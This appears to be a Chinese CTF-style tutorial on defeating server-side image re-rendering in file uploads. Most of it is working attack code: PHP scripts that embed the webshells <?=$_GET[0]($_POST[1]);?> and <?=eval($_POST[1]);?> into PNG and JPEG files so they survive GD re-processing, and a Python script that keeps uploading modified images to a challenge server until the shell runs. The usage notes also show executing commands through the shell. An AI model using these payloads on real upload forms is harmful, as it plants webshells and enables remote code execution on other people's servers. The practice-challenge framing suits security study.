目录

文件上传---二次渲染

# 文件上传---二次渲染

# PNG二次渲染

脚本直接梭哈

这里的脚本只能生成固定的图片,php内容是<?=$_GET[0]($_POST[1]);?>

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 

$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png');  //要修改的图片的路径
 
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
//imagepng($img,'1.png');  要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

010editor分析文件

png

这里是其他师傅改进的版本,可以写入自定义内容,字母只能是大写字母,否则报错,出现小写字母会报错的奇怪bug

<?php 
/* cX<?PHP 不可取消 但可以替换为c<?=
   ?>X<0x00><0x00> 不可删除。*/
$a='cX<?PHP FILE_PUT_CONTENTS();?>X'.urldecode('%00').urldecode('%00');

$payload_ascii='';
for($i=0;$i<strlen($a);$i++){
    $payload_ascii.=bin2hex($a[$i]);
}

$payload_hex=bin2hex(gzinflate(hex2bin($payload_ascii)));

// echo $payload_hex."\n";
preg_match_all('/[a-z0-9]{2}/', $payload_hex, $matches);

$blist=[];

foreach($matches[0] as $key => $value){
    $blist[$key]=base_convert($value, 16, 10);
}

function filter1($blist){
    for($i=0; $i<(count($blist)-3);$i++){
        $blist[$i+3] = ($blist[$i+3] + $blist[$i]) %256;
    }
    return array_values($blist);
}

function filter3($blist){
    for($i=0; $i<(count($blist)-3);$i++){
        $blist[$i+3] = ($blist[$i+3] + floor($blist[$i]/2) ) %256;
    }
    return array_values($blist);
}
$p=array_merge(filter1($blist), filter3($blist));
$img = imagecreatetruecolor(32, 32);

// echo sizeof($p);
for ($y = 0; $y < sizeof($p)-3; $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   // echo $color;
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

png1

这里提一句,关于为什么png二次渲染可以利用脚本直接生成的我没找到原因,很遗憾。在测试狼组团队师傅所说的通过函数imagecreatefrompng报错绕过二次渲染,在本地使用var_dump测试这个函数处理生成图片时,函数正常运行没有报错。

<?php
$file = './1.png';
var_dump(imagecreatefrompng($file)); # resource(5) of type (gd)
1
2
3

【原文】 (opens new window)

wolf

# JPG二次渲染

推荐:

警告

jpg二次渲染图片马不能靠脚本直接生成,你需要先上传原图,再ctrl+s把渲染后的图片再保存下来,现在你才可以使用下面脚本再次渲染

此处驻留甚久,顾谓后来者

把网站渲染过一次的图片保存下来,使用下面脚本再次渲染,拿到二次渲染图(成果图)

jpg二次渲染脚本

<?php
    /*
将有效载荷注入JPG图像的算法,该算法在PHP函数imagecopyresized()和imagecopyresampled()引起的变换后保持不变。
初始图像的大小和质量必须与处理后的图像的大小和质量相同。
1)通过安全文件上传脚本上传任意图像
2)保存处理后的图像并启动:
php 文件名.php <文件名.jpg >
如果注射成功,您将获得一个特制的图像,该图像应再次上传。
由于使用了最直接的注射方法,可能会出现以下问题:
1)在第二次处理之后,注入的数据可能变得部分损坏。
jpg _ payload.php脚本输出“有问题”。
如果发生这种情况,请尝试更改有效载荷(例如,在开头添加一些符号)或尝试另一个初始图像。
谢尔盖·博布罗夫@Black2Fan。
另请参见:
https://www . idontplaydarts . com/2012/06/encoding-we B- shell-in-png-idat-chunks/
*/

    $miniPayload = '<?=eval($_POST[1]);?>';
 
 
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
    
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }
 
    set_error_handler("custom_error_handler");
 
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;
 
        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
 
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');
 
    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }
 
    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }
 
    class DataInputStream {
        private $binData;
        private $order;
        private $size;
 
        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }
 
        public function seek() {
            return ($this->size - strlen($this->binData));
        }
 
        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }
 
        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }
 
        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }
 
        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
# 生成二次渲染的jpg图片
# 此处文件名.php即是上面的生成脚本,文件名.jpg是从服务器下载的一次渲染图
php 文件名.php 文件名.jpg
1
2
3

gen

# 渲染后php木马内容
<?=eval($_POST[1]);?>
1
2

如果是自己准备的图片,上传后可能会失败

CTFshow群主推荐的二次渲染专用图

jpg

准备了一个脚本,在图片尾部添加随机垃圾字符串,废图利用,变成新图,爆破出可利用的二次渲染图

import requests
import random
import string

# 配置
image_path = 'payload_cola1.jpg'  # 图片路径
url = 'http://0092bb15-7d1d-4a6c-8f9d-c9ac4a6076fa.challenge.ctf.show/'
upload_url = url + 'upload.php'  # 上传接口 URL
get_url = url + 'download.php?image='  # 访问接口
output_path = 'success_image1.jpg'  # 保存路径

def generate_random_string(length):
    characters = string.ascii_letters + string.digits + string.punctuation
    return ''.join(random.choice(characters) for _ in range(length))

# 读取图片文件
with open(image_path, 'rb') as image_file:
    image_data = image_file.read()

while True:
    # 生成30到50位长度的随机字符串
    random_length = random.randint(30, 50)
    text_to_append = generate_random_string(random_length).encode('utf-8')  # 要追加的文本

    # 追加文本到图片数据
    modified_image_data = image_data + text_to_append
    # 在图片数据开头插入文本,报错
    # modified_image_data = text_to_append + image_data

    # 准备上传
    files = {'file': ('modified_image.jpg', modified_image_data, 'image/jpeg')}
    response = requests.post(upload_url, files=files)
    # 获取上传后的状态、文件名
    response_json = response.json()
    msg = response_json.get("msg")

    # 检查响应
    if response.status_code == 200:
        print('上传成功' + f"-----文件名 {msg}")
        
        # 测试图片接口
        img_url = get_url + str(msg)
        test_resp = requests.get(img_url)
        if test_resp.status_code == 200:
            print("图片测试成功")
            data = {"1":"phpinfo();"}
            eval_resp = requests.post(img_url,data=data)
            if "phpinfo" in eval_resp.text:
                print("木马已存活...")
                # 在成功检测到木马文件后保存修改后的文件
                with open(output_path, 'wb') as output_file:
                    output_file.write(modified_image_data)
                print(f'修改后的文件已保存到: {output_path}')
                break
            else:
                print("正在生成木马")
        else:
            print("图片上传失败,请检查图片")
    else:
        print(f'上传失败,状态码: {response.status_code}')
        print(f'响应内容: {response.text}')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

res

放3组图,分别是原图,一次渲染图,以及成果图

原图

一次渲染图

成果图

再试一次... res

跑一下柴郡

原图

ori

一次渲染

one

成果图

two

res

注意

注意:存在已知bug,图片接受脚本处理后可能损坏,因此会无效死循环

参考、致谢:

最后一次更新于: 2024/10/31, 20:48:03